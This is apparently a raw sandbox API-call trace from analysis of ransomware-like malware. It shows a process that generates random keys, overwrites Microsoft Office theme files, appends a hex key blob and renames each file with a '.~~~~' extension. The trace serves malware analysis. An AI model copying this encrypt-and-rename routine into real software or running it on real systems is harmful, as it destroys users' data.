	[0132.302] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398be8 | out: hHeap=0x300000) returned 1
	[0132.302] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.302] GetLastError () returned 0x0
	[0132.302] GetLastError () returned 0x0
	[0132.303] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.303] GetLastError () returned 0x0
	[0132.303] GetLastError () returned 0x0
	[0132.353] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.353] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x155, lpOverlapped=0x0) returned 1
	[0132.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0132.355] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.355] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.355] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.355] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.355] CloseHandle (hObject=0x114) returned 1
	[0132.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x29d6fd8
	[0132.356] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif.~~~~")) returned 1
	[0132.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d6fd8 | out: hHeap=0x300000) returned 1
	[0132.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0132.357] GetLastError () returned 0x0
	[0132.417] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.419] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.419] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.419] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25240927575) returned 1
	[0132.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb85df770, dwHighDateTime=0x1d60e1e)) 
	[0132.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x291d2a0
	[0132.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x291d2a0 | out: hHeap=0x300000) returned 1
	[0132.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.420] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.420] GetLastError () returned 0x0
	[0132.421] GetLastError () returned 0x0
	[0132.421] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.421] GetLastError () returned 0x0
	[0132.421] GetLastError () returned 0x0
	[0132.423] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffeab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.424] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x155, lpOverlapped=0x0) returned 1
	[0132.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.427] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.427] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.427] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.427] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.428] CloseHandle (hObject=0x120) returned 1
	[0132.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x29d6fd8
	[0132.428] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif.~~~~")) returned 1
	[0132.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d6fd8 | out: hHeap=0x300000) returned 1
	[0132.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.430] GetLastError () returned 0x0
	[0132.434] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.435] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.435] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.435] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25242550299) returned 1
	[0132.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb86058d0, dwHighDateTime=0x1d60e1e)) 
	[0132.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28094f8
	[0132.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28094f8 | out: hHeap=0x300000) returned 1
	[0132.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.436] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.437] GetLastError () returned 0x0
	[0132.437] GetLastError () returned 0x0
	[0132.437] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.437] GetLastError () returned 0x0
	[0132.437] GetLastError () returned 0x0
	[0132.439] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff350, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.440] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xcb0, lpOverlapped=0x0) returned 1
	[0132.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.443] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.443] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.443] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.443] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.443] CloseHandle (hObject=0x120) returned 1
	[0132.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3c70
	[0132.444] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css.~~~~")) returned 1
	[0132.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3c70 | out: hHeap=0x300000) returned 1
	[0132.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.450] GetLastError () returned 0x0
	[0132.450] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.452] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.452] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.452] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25244211485) returned 1
	[0132.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb862ba30, dwHighDateTime=0x1d60e1e)) 
	[0132.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0132.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0132.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823cd0
	[0132.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0132.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823cd0 | out: hHeap=0x300000) returned 1
	[0132.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0132.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.540] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.540] GetLastError () returned 0x0
	[0132.540] GetLastError () returned 0x0
	[0132.540] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.541] GetLastError () returned 0x0
	[0132.541] GetLastError () returned 0x0
	[0132.543] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8e1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.543] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x71f, lpOverlapped=0x0) returned 1
	[0132.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.546] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.546] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.547] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.547] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.547] CloseHandle (hObject=0x120) returned 1
	[0132.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.547] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css.~~~~")) returned 1
	[0132.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0132.549] GetLastError () returned 0x0
	[0132.570] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.622] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.622] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.622] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25261204238) returned 1
	[0132.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb87ce950, dwHighDateTime=0x1d60e1e)) 
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809798
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809798 | out: hHeap=0x300000) returned 1
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.623] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0132.623] GetLastError () returned 0x0
	[0132.623] GetLastError () returned 0x0
	[0132.623] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0132.623] GetLastError () returned 0x0
	[0132.623] GetLastError () returned 0x0
	[0132.625] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.625] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xde, lpOverlapped=0x0) returned 1
	[0132.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.627] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.627] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.627] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.628] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.628] CloseHandle (hObject=0x120) returned 1
	[0132.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0132.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif.~~~~")) returned 1
	[0132.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800b18 | out: hHeap=0x300000) returned 1
	[0132.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.630] GetLastError () returned 0x0
	[0132.630] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1258) returned 1
	[0132.631] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.631] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.632] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25262165226) returned 1
	[0132.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb87f4ab0, dwHighDateTime=0x1d60e1e)) 
	[0132.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
